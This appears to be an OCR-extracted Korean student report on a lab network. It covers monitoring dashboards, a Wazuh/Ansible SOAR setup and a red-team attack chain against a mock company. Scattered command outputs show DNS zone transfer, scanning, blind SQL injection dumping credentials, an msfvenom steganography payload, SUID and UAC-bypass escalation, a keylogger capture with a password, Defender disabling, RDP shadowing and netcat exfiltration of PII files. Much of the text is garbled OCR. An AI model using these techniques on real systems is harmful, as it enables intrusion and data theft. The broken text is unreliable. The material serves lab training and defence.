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3.1.2. HH| 2|8 Hho|X] o ZAu}

M| 2! mo]X|

Router Monitor
Logged in as: admin (admin)
® poi 55 | @ pingall A logs

© refresh canvas | | * interactive map

& GNS3 Map

© Navigation
= Device Dashboard
T Run Logs

= Outputs Explorer

e

sw 20/ areno
M s

CHAIEE

# ESW10 Dashboard
et & Collect ip int br ® Runlogs @ Ping 8888 @ Loggedin: monitor

y int br: 2026-03-09 20:00:03

IP Int Brief Back Up

B Files

main_show_run.txt

[31 &2 EH|2| show runnlng -configE ¥

20260309-202028 show run.txt
° 2 N 216 4] backup.txt0] H2 HES T HE
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ASA T HHE HOo|X]|
<« overview  ~ GNS3Web Ul interactive map

# ASA Segment Map
(£ HAIZE YE) 5713
MailPydio
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Eswy —— .
; e

192.168.30.1024 E; E
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Interface Control ® status updat
®UP T  ®DOWN 6 | ® UNKNOWN @ ipint br 2026-03-02 22:10:51

Interface Action
® pown | FastEthernet0/0 chonwn

ur  Serial1/0

DowN  Seriall/1

DOWN  Serial1/2 { ;

DOWN = Seriall/3

upr  Ethernet2/0 §

ur  Ethernet2/1

up  Ethernet2/1.1

up  Ethernet2/1.2

pown Ethernet2/2

DOWN  Ethernet2/3

ur  SSLVPN-VIFO

Loopback0 tdown

B Run Logs

+ overview

Ansible  Rsyslog

GUENSY Ri2  R13  ESW9  ESWI0  ESWI1 ESWI2  ESW62 | ESW14  IOUT | IOU2 | ASA1

Source Log file Time

Ansible auto_push. log 2026-03-09 2

Rsyslog ASA1.1og 2026-03-09 23:28: i
Rsyslog R12.1og

Rsyslog ESW11.log 6: i
Rsyslog ESW9.log

Rsyslog ESW10.log ie
Rsyslog ESW12.log

Rsyslog ESW62.1og 2026-03-09 2 09KB

Ansible 20260309-184550_ASAL collect ipintbr.log 2026-03-09 18 21KB i
Ansible flask_app.log 2026-03-06 15:49:55 06 KB

Rsyslog ASA1.log-20260306 2026-03-05 1 1115514 KB

R13  ESW9 | ESWI0  ESW11 ESW12  ESW62 ESW14  IOU1 | IOU2 | ASA1

Log file
auto_push. log
flask_app.log 06 15:49:55
20260304-023110_R12 collect ipintbr.log 2026-03-04 02:33:28
20260303-111004_ESW9_collect_ipintbr.log 2026-03-03 11:12:34
20260303-111005_ESW9_collect_ipintbr.log 2026-03-03 11:12
20260303-111085_ESW9_FastEthernet1-7_up.log

20260303-111084_ESW9_FastEthernet1-6_up.log
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CLI

& CLI Console
SLUpLILS L
line aux @
exec-timeout @ @
privilege level 15

logging synchronous

stopbits 1

line vty @ 4

login local
transport input ssh
1

end

R1z2#

done

Ansible yaml It2!

ip int br: 2026-03-02 22:10:51

® search

ShowRun | IPintBrief | .ipynb checkpoints = kron

& dick to pre

20260304-175346 _show run.ta

e o1

@& Collect ip int br B Run Logs @ Ping 8888 ® Logged i admin

el

33 Preview
Building configuration...

Current configuration : 2268 bytes
'

upgrade fpd auto

versis 12.4

service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption

!

hostname R12

!

boot-start-marker

boot -end-marker

'

e
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3.2.2 Pydio

Pydio SH[O[X| H%

© F2 28 hupsdpydio betternet

v

&

My Recert Activity

Personal Files
Wk space

Common Files
workepace

Pydio 2E A

0O Common Files

m Download

T |
L

Open =~ Share Maore -

ME| QIR (HE £7) va

Today at 10:38 AM

24503 KB | | GIF picture

Y

| 853px X 480px |

Today at 10:38 AM

IE Ha|
Today at 10:39 AM

dog
Today at 10:38 AM

MHE| SAE =2 of M|
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3.2.3 Zabbix

Zabbix SHO[X| F% 5 HEY

Server Monitoring Center (NOC) [0304-2004]

A tsoarss | Samer oitorrg Ceer (V02 0
AR FoH €1 [0304.2004]

. oz
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smwoinEeR t s
mORAGIER | sl
HBOOAMBEA T UsRey
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oA T Uy
ADOEEAEA | s
MmmEeRA | st
WBRRETRN + Usefeds
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Ui pcione T
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Lo
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Upes i o= | component: =ystam | soope: avatabiiy |
Upsae iz o= | component: system [ scope: avatatiy
. s o= comporent syt scope: sz
Uptse
Upssie =
Upsste T T BT

Upsste s os | componerit:systern [ scope- oiios
Upsae | componenit: o= soope: notce |
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ololHE 72y
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e BB
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E
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i Mame a

CA-bb-Ubuntu

US-sd-Rocky

Interface
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192168 40 310050
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30.3.30 410050

30.3.30 510050
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192168 30410050
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172.16.23. 11010050
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3.2.4 Mail
Mail &
W Ak emprmail cempmailbetter. net> 8 e P .
L] LUserl % = o+ m
L BAnd Tesong
=
Testing
HHE NE -
B ool WY
P gl wg T
A o K CHE il BEX)E =
i o B
e g
@ suns sauon wuau
Mail =2
=k L
Q Lol Mail Testing
.-..-;_.I.-;.-. S A APl empminll, WUE 2026-02-24 13:05
= ME(l Teatin
q A @
T 248
= Wow Test ina
=l B 2343
= Hello
| B 215
= Yes GW have amavis
BTN 13
& Ane you okay?2
prrprrail 17
w Are You okay?
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3.25

ELK

ST A
ELK SHO[X] H&
& elastic
= @ owstooard 247 2EmAEEUNEE
B v Search
®  +Add filter
TH OHIE £ D918 OJYIE £ (Level 10+) oI5 Hnjj ojHE Y M
- - I
OJHIE 0]
@ Count
€
3
=3
o
03:00 18:00 21:00 00:00 06:00 09:00 12:00 15:00 18:00 21:00 00:00
@timestamp per 30 minutes @timestamp per 30 minutes
HSHLAP Moz AN

A9 e M
g 1.

a
B
2
5
3
S
B
=
@
13
&
c
@
8
2

A

Invalid visualization type "vertical_bar"

®

300,09,

Count

AMERICA

OCEANIA

data.srcip.keyword: Desce 0%

i

0|

=
Im

IE R¥(C|2H) 2X

®

i

SOUTH
AMERICA

portsentry
sshd
web-accesslog
ossec

wazuh

AFRICA

249

Query cache denied (...
@ System: Portsentry de...
@ PAM: Login session cl...
PAM: Login session op...
sshd: authentication s...
File system full.

Web server 400 error ...

File deleted.

e

S dnf 49 1P

N
>

data.srcip.keyword: Desce
3
N
5 é
B

Count
0-0.25
@®0.25-05
©05-075
®075-1

OCEANIA

AUSTRALIA

OpensStreetMap contributors, OpenMapTiles, Elastic Maps Service
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gM 23 =l

HHl 23 M| (Logstash HH])

rule.description

Rows per page: 50 ~

log.file.path x « >

fvar/log/messag
es

fvar/log/messag
es

location

oao

2253121 documents

message

Mar 5 @&7:2
2:14 US-ha2
-Rocky-dmz

systemd[1]:
server—moni
tor.servic

e Schedule

Mar & B7:2

2:14 Us-haz2
-Rocky-dmz

1 of 10 >
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3.2.6 Guacamole
Guacamole ®=
APACHE GUACAMOLE
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3.2.7 MH E 2 (pfsense)

pfSense SH|O|X| H=%

Fisense
Status / Dashboard + @
System Information OO0 Netgate Services And Support 0
Name S .home.
pfSense.home.arpa P——
User admin@30.3.30.7 {Local Database)
System ViMware Virtual Machine ~

L
Metgate Device |D: 5be9d551ae86a39¢05c0

Interfaces
Jendor: Phosrix Technalogies LT0

Version: 6.00 s WAN 1+~ 1000baseT <full-duplex= 30.3.0.2
Release Date: Thu Nov 12 2020
snaLAN " 1000baseT <full-duplex> 30.3:10:1
Version 2.7.2-RELEASE (amd64)
built on Wed Dec 6 14:10:00 CST 2023
FreeBSD 14.0-CURRENT

Obtaining update status o

CPU Type Intel(R) Core{TM) i5-7400 CPU @ 3.00GHz
AES-NI CPU Crypta: Yes (inactive)
QAT Crypto: No

Hardware crypto Inactive

Kernel PTI Enabled

MDS Mitigation Inactive

Uptime 2 Days 01 Hour 24 Minutes 00 Second
Currant data/tima Fri Mar A PES1A MOT 2094

pfsense blacklist &7

290 Matched Firewall Log Entries. (Maximum 500) Pause m

Action Time Intarface Source Destination Pratocal
X Mar §07:53:38 VAN 172.16.28.140 30.3.10.1 ICMP
X Mat 6 07.53:39 WAN 172.16.28.140 30,3101 IEMP
X Mar 6 07:53:41 WAN 172.16.28.140 303101 ICMP
X Mar & 07,5342 WAN 172.16.28 140 037101 ICMP
X Mar 6075343 WAN 172.16.28.140 30.3.101 ICMP
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KALI 1 Kali Linux 25.03 nmap, dig, nikto, wafwOO0f, nessus
KALI 2 Kali Linux 25.03 msfconsole, umbrella, python3
KALI 3 Kali Linux 25.03 ffuf, msfvenom, xfreerdp3
Proxy A{Hi Ubuntu 25.04 HAProxy, Keepalived
Web A{H Ubuntu 25.04 Nginx, PHP 8.4.5
DB AfH{ Ubuntu 25.04 MariaDB
DNS A H| Ubuntu 25.04 BIND9
oY AMH Rocky-9.5 Postfix, Dovecot
E2[XF PC Windows 10 MS Office 2016, RDP
435 =8 HAM|
g L&

1. UE =0 32 +=F

DNS Zone Transfer 4™ S

Debian

GR4800
864080

Ll

Lo g

IN

IN

better.com axfr
S04 nsl.better.com.

better.com.

Joattar.com.

dig

root.example,

root.example,
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Starting Nmap 7.95 ( https://nmap.org ) at 2826-93-04 17:57 KST

Nmap scan report for |

Host is up (0.0125 latency)

PORT STATE SERVICE
80/tcp closed http
443 /tcp closed https

Nmap scan report for —
Host is up (8.0827s latency).

PORT STATE SERVICE
cp closed http
3/tcp closed https

Nmap done: 256 IP addresses (2 hosts up) scanned in 4.15 se

=

TCP SYN ®E £

F2 A MH|A(80, 443) &d ZAE Y MH|A AlH
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Possible admin folder
Potentially interesti

any incorrect results at https:

ost up) scanned in 125.81 seconds

nmap
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__name

Eunmo;ﬁinit()

= Automated Blind SQL Injection Start

[*] MtH S @ 45 g

[+] HA &
[Searching Database Name] red

[Searching Target Table LIMIT @] users
=» [*] Target Table "users' Found!

[Searching Column LIMIT
[Searching Column LIMIT
[Searching Column LIMIT
[Searching Column LIMIT
[Searching Column LIMIT
[Searching Column LIMIT
[Searching Column LIMIT
[Searching Column LIMIT
[Searching Column LIMIT
[Searching Column LIMIT
[Searching Column LIMIT
-> [*] Matched Columns: ID(id), User(username), PW(password)

=== Dumping Data from users ===
[Searching Adain ID]
[Searching Admin Password]

Pyth . ) " i
g | ython Blind SQLi AFE3t AAZYES S8 GoJE ==
(requests)
2OIAL DB HA H ZE|Xk(sajang) AtH TH EF d3

B DEI--T-1 O[O L oY IE 242 S B WEHIY 93
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Payload size: 1110 bytes
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€ > C @ O & hitps:fjwwwbetter.com/upload.phy

OffSec Kali Linux # Kali Tools = Kali Docs M Kali Forums e\ Kali NetHunter = Exploit-DB & Google Hacking DB

THE BETTER

€ [SYSTEM] 22t

2026_01.jpg

28 E 1 | Steganography
CIgSIPN gl Hot A5 2 S /F o|n|X|e] MH ME =l
10 & ot #H=x
28L& | File Inclusion | IR2t0lEH ZEES SoF A|AH o Tx
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—5% sudo ffuf -u Httpf'
mmon.txt -c -mc 208,301
[sudo] Bobh & = :

v2.1l.8-dev

Method
URL

dlist

ow redirects
ibration
Timeout

Threads

Matcher

false
false
1@
40

L4¥1n/ 4618 |
[487374614]
[4156/4614]
[GZZ474615H]

[4268/4614]
89/4614]
/4614]
[4371/4614]

w o owm W
(Y T )

Response status:

.better.com/FUZZ/ -w /usr/share/wordlists/dirb/co

=

better.com/FUZ
share/wordlists/dirb/common.txt

i 4

Jop
Job
Job
Joo

Duration:
Duration:

Duration:
Duration:

ClE2 HYS St HSH 8 32 X

24E MY MF CiEEE 2 E 2 ME

AlHE @ CIAEZ|E S8 HEE AIRICZ oM Hoj2E A ol
A 2R} HOIX|of XSS FofHE HE of =l
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serj msfconsole | C2 =2 A3 U A MM =E
SHOIAtEt handlerE AME3I0] MM AZANE =0l
14. A8 Hst 85 AAE XD A3 2 ES st HSH AEs o™

Process 173403

l'_:h _:nn._.:..t_ 1. ¢
whoami
weaw -data

FAT L T EA R TE a1l

Jusr/bin/find
JusyY/oin/gpasswd
Jusr/bin/newgrp
Jusr/bin/mount
fusr/bin/sudo
/usr/bin/

Ffview fhian fe
whoamil

ww-data

id

find .
whoami
root

id

-

gacy find SUID 48 2FE 0|83t Root Ht &4
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17. 22Xt PC R UAC 22 ?3|& S¢ AEZQE X1 Aot 25

ACctive sessions

Id Nami Type Information Cannection

DEsKTOP A
g b —

sy msfconsole | msf2| bypassuac_fodhelperE O| 83l 3+ A&
gholAbg getsystem HHS St 22|XKSYSTEM) Ao HF
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meterpreter >

Dumping captured keystrokes ...
<"H><"H><"H><"H><"H><"H>https<Right ShiFD:f/-better.comcCR:-
eolleong<Tab>asd123<Right Shift>!g@
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stem\CurrentControlSet\Services\WinDefend™ /v “Start™ /t REG

n completed successfully.

ve 1234 Sadd

pleted successfully.

L7 | msfconsole

stol 21} Kol SAE CYA RDP 24 £2 U M AW e A=
X5l SAE AIA|IZE M
21 8o 222 SN D e w maix pez BAoz o me sE U B Y
=

meterpreter screenshare
[*] Preparing player ...

[*] Opening player at: /home/Eve/rdsPjKYd.htn

[*] Streaming ...
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FreeRDP: 192.168.30.4

T8_Exec_Staff Pil
T8_Partner_SLA
T8_Payment_Master
TB_User_DB_2026

7@ OneDrive

= pc

o HE:
4

g8y xfreerdp3
210l ALt
24. 7|9 oy 7|2 HolE
Elx
=T
fE_Mast
MACHINE ADDRESSES O VERSION LAST SEEN
kali 100M7.246.7 ~ 1.94.2 Connecty
Linux 81710 +kali-amd64
ubuntus 100.88.84.68 v 1941
Linux 614.0-37-generic
28E 7 | msfconsole SH4l O|ojEf 1At BHY
=0l AfS 17 DB X DEL A% HE 5 WA TY 435 1% LA %=
25. 7|9 Sy
El-kl
=
MACHINE ADDRESSES (D VERSION LAST SEEN
kali 100172467 v 1942 Connecty
Linux 81710 +kali-amd64
ubuntus 100.88.84.69 v 1.941
Linux 6.14.0-37-generic
g7 Tailscale P2P VPN Y3l EMY 7=
2tolAte tailscale0 7t QETIO|AE St QF 4 = =&
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26. T O|O|H 2[F g
better/TB_Exec_Staff_PII.xlsx
better/TE_Payment_Master.xlsx
better/TB_User DB_2026.x1lsx
better/TE_Partner_SLA.xlsx
root@Team-Red: ~#
better/
better/TE_Ex =l
bhetter.
hetter/TE
better/TB

g8y Netcat HOolH &= A A2 HME

2ol Ubuntu M| L Better EC 2H2F XU SiK| 20l
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44 FHAH 24
N OWASP " " -
HE A FUad =5 CVE / CWE cvss | flEe | oY I
2021
STEP 1 DNS Zone Transfer A05:2021 = CVE-1999-0532 53 olZmet fx I IpCHY A =&
STEP 2-1 Blind SQL Injection A03:2021 = CWE-89 9.8 Critical = DBAIE X A4 Y 23
O|OX| L ot mojlzE 24 = ¢g=
STEP 2-2 Steganography A04:2021 = CVE-2016-3714 8.4 High -
A1|:|-| L 9izh o<l Crlr-éll- al _0LJ7=I A3
STEP 02-4 LF| A01:2021 CWE-98 8.1 High e AL 4 i gs 5 EA
H— =2 o
- A A MH HDOIM AL 4R
STEP 02-6 SUID #3 &5 A01:2021  CVE-2021-4034/ CWE-269 7.8 High = N Hi - A A &%)
(Root) #Hot &5
2| X} M Oo|X] Bix 49 SAtM3IE Qum
STEP 02-7 Stored XSS A03:2021 CWE-79 75 High | t 191 = e m
HE =&
. + _ 22Xt PC W YMHFE(exe) At& Cf
STEP 03 ActiveX 7|8 A% A03:2021 CVE-2021-40444 / CWE-494 838 High czc g zo
- ZE|XF M AE N W e 5H
STEP 04 RDP Shadowing & UAC 3| A01:2021 CVE-2019-0708 / CWE-284 9.8 Critical 2 HE AN % HFE
0| & (Lateral)
HiotE/ClHE SX2 AAIZL 324 &
STEP 04 HOb Hu D2g) A05:2021  CWE-693 5.0 PS/CEE FXIE AAT &4 3
X A FHzt
_ CVE-2023-36884 2026 Ofitot EME &% FI+ EH
STEP 05 emA XM RCE A06:2021 / 8.8 High |* 1 e |
CVE-2022-30190 PC CHE =
Tailscale =2 EEZ 0|83t 7|
STEP 06 24 X Loy gtE A05:2021 CWE-668 / CWE-284 53
< X2 CiolE gt=E / HOlE gE o=
Ho =AE FA OojE =zt A It
=P Kel o C E3 _ _ o
STEP 07 A0 Ho|l2E T35t Impact CWE-732 / CWE-778 10.0 Critical PR
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5.1 X 53}(SOAR) O}7|ElX 5! S &
SOAR O [HINY S EE
Automated Incident Response Framework
Hots=2M Wazuh-agent Wazuh-manager
.
S X 208 2353 33 Wt
s b
% . BAX P X gt ol -
2% pa(z2tei2c) W . S|
L
E = lei

SCAPY

SOAR OF7|HlX 9k

AIIE| E(I)_} E:'.O"A'l _1_7:1X|. |pX-IEE
SCAPY 2IZlo| TfZIS 7tZ2X DBl EM2|AEQ} CH=E,

gp|AE0 AXT FL HY|, 2K Al S1t

= = oT

DBO| XFot0] S™M2|AE He

d.

-—— scapy ips A[&E —-—-
=ZE| 2 H: inbound

—41“ '='EHE|/ E : [48.1.0.18

0 : [ens256 -» ens224]

: [ens256 ->

: [ens256 -

: [ens256 >

: [ens256 ->

., _-'.' _ .-' _.-']

Ether [/ IP / ICMP 2¢

Ether / IP / ICMP

Ether / IP [ ICMP

Ether / IP / ICMP )
Ether / IP / ICMP 20.1.0.18

ens224]
ens224]
ens224]
ens224]

I echo-request @
echo-request ¢

! echo-request €
echo-request €

).4 echo-request €

*SCAPY01| o|sf AtEhE ZAXE ICMP IHZE
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5.2 ol=gt 4 g
521 X % SOAR O}7|HIN Ql=mz} #/d zte|

A_V

@)
N
b iy ro;nilm
2 >
>H IW};
_.‘_ON U_fjnld

mg g DBMS
| MySQL
;vjdzil:r;la‘}:?ent 7% wazuh-manager 1% s AE 4R
suricata 13 filebeat(A)72
= M HiZ filebeat(B) 1% ZeaAE i
QI Hj QIEA A U B

Agent Manager
wazp -agent Wazuh-manager
auc.:llt filebeat(A)
suricata filebeat(B)

mod_security

% U SOAR X535} @9F
DBO| MYE SAE Z[AEE QHEZIZ B0{Q C20A Ansible &3
X =

S
DBO| MZ&Est & AMS Z0{Q C20| MOz MM = Hij=
C20j A Manager, AgentOl wazuh-manager, wazuh-agent, filebeat(A), filebeat(B), audit, suricata 7%=
C20I M ManagerOfl QEA A4 9l HiX|

C20| M Agent0] RIZA HYE Sl E Ml HYIE(qudit, suricata, mod_security)
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53.1 Y E®3 3E SE
start
Flask Application
ALEXL Q1T 9 Het &kl
HESZ & oides] 22
h
22| AL O] K| aP1 278
¥ h 4 y A 4 y
R
| ofEf QIE{TH O] & cu gy HEg3 Egym
= H of o Ping ZA} HE x|
3 3
v . v
R
£
] o = OLIH=Z 5‘:'
1. SIEH 0]~ 1. BB LISHES El_‘L;ﬂ
S 2. H|Z2 5} 2. Telnet .
T 2
2.1 T = i
3. 34| 46 N— - s
=] E—L‘E‘i?ﬁﬁ
4, Kol
outputs X & T
5.8l 271
weh_runs & & HTML/PDF
EInPARtEE
N r ™ \
AFEY FHA| B T
!
I 0|2
— 1 =5
-
] —
> END «
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53.2 o5 AE SEX 9 o H™HIE
-
IdE SER
Section 2
K HAXI
| dig I" 2E domai dig 0] A4 ME domain % 22+8
ZE domain ig Hof 4 . = domain ¥
o | Tams [T e
_scan file (json) <
9 HY
N2
nmap I———— ——————————
. ZE domain ip+options2 2t ipe|
—— QEjp —p — — Aztpy
== e nmap 25 ALg | STATE/PORT/SERVICE 2!
«— st ——
N2
| ffuf I———— ——————————
port:openg! url EE 42/ options £3 % ffuf HE0| A T .
— ool —»> domain A€l e ey e 2 Ha —znmy —p| file/directory £
«— = ——
N2
| nikto I———— ——————————
Y ol ikto = MM
- por;::::n._ - url 2 nlkutlo;foi 98 e | wam mopy m2
Al UHS
« =y
N2
wafw00f I———— ——————————
ort:open®! rl 2 wafw0O0f HE " -
= S e B | —wams—p| oo 2
2l MoEs
«— = —
N2
nse T rTT T o oH210{ AHA T
— portopenlip | | "MP nse;i,:oi CCF | —anny —p | wAE HopM z
«— 2zt
fieldE Z715H A data X% I
o4
SQL Injection |~~~
(Blind) \ o MH BHE = Mol 2| S gEXo= DB/Table/ %= ID/PW
WrE P mszrwores) [T exieid peEE eopy) Pl conmnmzs || szas
_sqlfile(txt) |

4% N

msfvenom |[———=—————————— N _
| I _\ g Ihost/Iport & venom/handler/ — s sy | Ste9aNOGraphy

payload A&t venom HE /3 venom_conf T} M4 oy

/msf, [venom_conf
AN Bl X{E venom 2! handler )
venom AEEE

v
| msfconsole I— ————————————
Qlmat FH| AFg#t handler M2 HAo|
—

— —
hand Metasploit RPC A ¢1Z Med HAZE ulmtx] ch7|
andler
|
Y
MM Az PHP —p| A& S M £3 7122
UAC #Hst 23| & RDP ShadowE 93t
i S AtA
Windows #| R MSAZ |—> P RDP a3t
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g "elm
4= 7= g e
setup_directory() Cl2H2] MEEIeH 4
get_unique_filename SOl 2otelA T A8 A(json)
(domain)
. print_scan_summary A7l HOb QO
dig (scan_data) A7 A 29%(dig)
parse_axf r_output : fr A3} oAl
(output_text) dig axfr i THe
run_dig_axfr() dig axfr A % Zat N
scan_network Nmap=2 AFESH EZI CHEO| A{H|A
(target, ports) 2 HE JEE +=H
display_report +=8E Z0E HOE0 HOlE
MHAX - £ o
CEs nmap (scan_results) Hroz EHT
from fi JSON Lto|A IPE FE| CHY2 2
run_auto_scan_from_file() Hst S MH AHS 2 O K
get_scan_files() scan It A7H
select_target_from_file JSON It0|A open &EfQI ZEQ]
(filename) URL 552 &£ MEiEZ
ffuf build_and_execute_ffuf fuf H20] xah U Alsy
(target_url, ext, mc, fs)
2 Al JSON ItUO|A LAHE
parse_ffuf_results() o CaEz 22 x2
run_ffuf() ffuf 4 S Ao §F
print_nikto_summary A7 A1t 2% Mmikto)
(scan_data)
nikto i i _
parse_nikto_for_json nikto T4 THA
(output_text)
run_nikto() nikto &3 % 21t MF
run_local_cmd(cmd) EZOIM FHHO HH
select_scan_file() oY 55 £ 3 ME
FHUH 2N get_waf_targets(filename) . JSON C|O|E{O| | E}ZI URL/IP =
wafw00f waf_scan(target_list) 2Z WAF A7H Al
save_results_to_json ATl K&
(filename, data) g Mg
run_waf() wafw00f &3
run_local_nmap(cmd) 24 HHO A g
nse select_scan_file() oY =55 £ 9 Moy M|
get_open_port_ips MEdSE THAOM open ZE ip ==
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(filename)
nse_scan(target_ips) 2Z NSE &7 A3
save_data_to_json ATl K&
(filename, new_data) g Mg
run_nse() ool M
—_ : MHO0l| H£3iAM PHPSESSID F7|E
initialize_session() XEo 2 Hiote
send_payload MHO| FHe|E BRI FH/ANS et
(payload) (Ml Xf% Eroly
saL
Injection(Blind) ~ extract_data(query, label, ¥t 2XY HIO|EHE FZdt= S8 o+
(2AlZt EfOJE 23t HE)

max_len=20)

save_id_passwd()

run_exploit()

setup_directories() MM IS X ASH Ef_ﬂ i3]
- M (SSA0T )

msfve =
run_msfvenom() A A
o o
msfvenom
run_steganog.raphy(paylo |7he 2bm] AAl
ad_file)
copy_to_web)(payload_flle Nar/www/html 2 MASH E0}Q 24}
onrpc(server, rpc_pw) RPC7} Zt&SHA| o™ Az Al
connect() RPC7t HZE|E=X| =0l
start(exploit_name,
payload_name=None, Lozt FH 8 25 4
options=None)
cleanup_jobs() O™ = A
check_sessions() MM =l = AE 38 &9l
msfconsole o o o274l windldE FsiA RDP
multi_win(session_id) SAst A EOE AE red AA
kevi ion id AZAE MMZS UACE d3t 23 =
eylogger(session_id) )2 2

web_xss()

Mu
z
o

WebABIS A2 XS5 34 ¢

get_target_settings()

msfconsole 7|& M &l

shutdown_rpc_server

rpcO| 20| B=

(server)
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53.3 M| 3 SOAR O(7|HX X+E%t 23R E
TE 23ZE &
SAE host_inventorypy  DBO|A ZAE HEE B0Q QHMEZE ALE
g A rulefile.yml DBOjA & M HEE S50 dFMYZ OtE
wazuh_manageryml = Wazuh-manager +%
wazuh_agent.yml Wazuh-agent 7%
filebeat_a.yml Filebeat(A) T+=
=
filebeat_b.yml Filebeat(B) 7=
audit,yml audit = (B Al Uil =3h
suricata,yml suricata 7= (B Al HiZ =Z3h
cert manageryml  Wazuh-manager QI3 A 44 Sl HiX]|
ASM
cert_agentyml AgentOf| 21F A HijzZ
SCAPY firewalld.py DBO| SZ|AEQF CHZESHY THZ! H|Of
g =l policy_check.yml A 718 MH JEf =l

TE ASEE LH&
amavisd.yml amavisd &X|
DNS I{7|X| HX| % Master-Slave +EZ AH ME, tsig
DNS.yml L
7| AP S M E
mail.yml Postfix, dovecot &% % RoundCubeMail AH|A M E
- DB I{7|X| %] % wordpress, pydio, mailA\{H{ 0| L3t
S ym DB 44 % Mg
Pydio.yml pydio % S MH ME ZE
mod_security,yml  mod_securityS H&dl= A=
wordpress.yml WordPress CH2 S AMH[A AN E
cert_agentyml AgentOf Q1ZAM HYZ
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firewalld.py DBO| E22[AEQ} TSI THZAl H|Of
iptables.yml Black ListOl A IPF=ARH =ESH0] KpEF
time.yml YES LiEte] AjZtez 373t
rsyncyml rsync T{7|X| HX|
fail2ban failcban &X| % KXttt 47
portsentry mf7| x| dx| & o & 4F
clamav clamav I§7|X| S MH|A MaH
rkhunter rkhunter TH7|X| AX| & MHA A3

54 X5} S S
[ ==

541 HES3 3E

PLAY RECAP

changed=0  unreach

unreachable=0
unreachable=e
unreachable=0
unreachable=0
unreachable=o

unreachable=8
ignored=0

unreachable=0
ignarad=o

unreachable=0
ignored=0

unreachable=e
ignored=0

unreachable=8
ignored=o

KRON &7d Xts =20l
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sh_ip_int_br.yaml

{root@locall sible e-play h_ip_int_br.yaml

9 O T )] AR R AR AR AT K KRR

PLAY RECAP A Htia bk ok kA kA A AR AR AR AR AR AR AR AR,
unreachable=6
ignored=6
unreachable=6
ignored=p
unreachab’
ignor:

TASK [105 ignored=0
i g E c unreachable=e
ignored=6

unreachable=6
ignored=6

unreachab
ignor

unreachab’
ignored=e

unreachable=g
tgnored=0
TASK [10S sh 2 = 1 c 3 unreachable=8
o ignored=o

unreachab

FOS ) ] 0 R R R R R R R R R KRR R KR R AR R R

sh_run.yaml

[root@loc st ansiblel# ansible-playbook sh_run.yaml

L fH D] R AR R KRR R R R R R KRR TR R R R KRR R R TR

ekl T

unreachable 1 rescue
ignored=0

unreachable=e rescue
ignored=0

unreachable=e e E rescue
O ] *hrrARAARRRRRIR AR RRRIRRRRERRRRRIARRRERRRRRIRRRRERRRRIIRRRRERRR R TA A Lg"grEd:D \rreachabla—d
ignored=8

unreachable
ignored=6

unreachable=0
ignored=6

unre
ignored=e

unreachable=g
ignored=8

unreachable=e

I e T ignored=a

unreachable=0
ignored=0

ignored-0

12 running-config It A4
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my

542 M EX| X153} A|H Zaut

Fail2ban.yml

EREREER RN R R

Fail2ban &X| XI5t A ME

543 X % SOAR OF7|EHlA Xt33} A|H Zu}

rulefile.yml

T R A KA AR AR Kk kAR KKK AR AR KK Kk AR KKK kXK A KK KKk XA

B ] AR ARk KRRk KA KR A K AKX K

curity)

ARk R AR ek ok ko ok e A ko

[debuql] sk sk ok kk koo Ak Rk ek kA Sk ek ke ek

Pk ek ke ko ok e ARk Rk ke kA Ak ko AR KKK

unreachable= skipped=0

root 0 Mar
root 485 ar
root 1

root

139 audit rules.conf
139 modsecurity_rules.con

2 ricata_rules.conf

139 wazuh_rules.conf

manager

d; preset: &

bin/env /fvar/ossec/bin/ c c art (cod

ap: 24.8K swap




2M HZ  F1-REPORT-001
no|d =2HE 3 ANHEIA  2HY 2026-03-03

| ol X| 82/187

TASK [[ubuntu] & =
han [172.16.

TASK [[Ubuntu] Wazuh GPG Key W0 D B B ] ARk ARk AR AR

TASK [[Ubuntu] Elastic GPG Key £ U OF O B H| ] AmARRARRRR AR AR AR AR AR A
172.16.8,1

TASK [[Ubuntu] wazuh X

TASK [[Ubuntu] E
d: [172. 16

TASK [[Rocky] wazuh ® %
kipping: [172.16.8.18]

TASK [[Rocky] Elastic #
skipping: [172.16

TASK [Wazuh Manager

PLAY RECAP AHA %% %555 %% %% A RKAHEXHAHEHHKEHEHAEHEEE AT EEAEHEHE AT E TR EHHEHED

unreachabl

wazuh_agent.yml

[[Ubuntu] & =
[172.16.¢

TASK [[Ubuntu] Wazuh G L0 Of BT ] ARARRAARRRRAAREAARRRRARARRARRRRREAARRRR
skipping: [172.16.

TASK [[Ubuntu] Wazuh & )] waan
kipping: [172.16.8.2

(limit
20.7M (peak: 3
34.8
TASK [Wazuh AGent B 71 K| K| ] okokhhbohohehohhhhhhohohohohoh AR AR ARk AR A A Ak Coroup: /system.slice/wazuh-agent.se

TASK [[Rocky] Wazuh 2 75371 ExecStar
ki

TAsSK [Wazuh Agent & ¥ © ¥ (ossec.conf)ol of 4

TASK [Wazuh Agent M o =
changed: [172,1 s]
c d: [

172

Wazuh-agent 7%

TASK [(Debian/ubuntu) Filebeat & & ] #
skipping: [172.16.8.25]

TASK [(RedHat/
kipping: [17

[uazuh Fil 7 wEd oS L T TR T T
m/filebeat.service; er
8 @
B )] RRARRAR KRR AR RR AR AR RRR AR RARARRA AR AR R Docs: https://u /filebeat
Main PID:
Ta:
Memor
114ms
system.slice/filebeat.service
]

TASK [Filebeat M # =
{1 1 5

unreachable=0

unreachabl

Filebeat(A) T+

filebeat_b.yml

@ filebeat.
Loaded
Act

oc
Main PID

Ta
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T —

Systemd A 8 =
]

] wn

[Filebeat(s)
ged: [17
d

ThSK [Filebeat(a) =

[obUg] ### #k Aok kAo AR AR AR AR R AR KA R AR AR KRR AR AR AR A KRR AR KRR

audityml

R ] AR AR R AR

Auditd @ 7| &
5]

urity Au
lib/systemd/s em/auditd
> 2026-

ExecStartP
~ 82425 (auditd)
N B ] A AR AR AR R AR AR AR AR AR AR A AR AR 5 (limit: 22911)

1.1M (peak:

HANDLER [Festart auditd] e ses s ok ks ko ok kbohohd ok ok ook Rk ok ook ok ok
i ]

1

R LT T ST Ts e e T

RECAP ### 44 #sihhddddik ik dddbhddidhdbadtsdst
: c 3 unreachable=o

changed=4 unreachable=6

audit = (B M HiEZE Z3h

suricata.yml

lce - Suricata ID:
loaded i

Main PID
Task
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oy

. Root CA 7

T AR R AR R R R R AR R R AR R AR R R AR R AR KRR R AR KRR

root-c root-ca.

] TR T A AT AT AR IR TR

R R R KA R A AR R A

Wazuh-manager Q13A M 8 H{X|

cert_agent.yml

TaSK [Gathering Facts]
SK [Manager A 8 i R 7 ] AEEARREREREEARR AR REERE AT
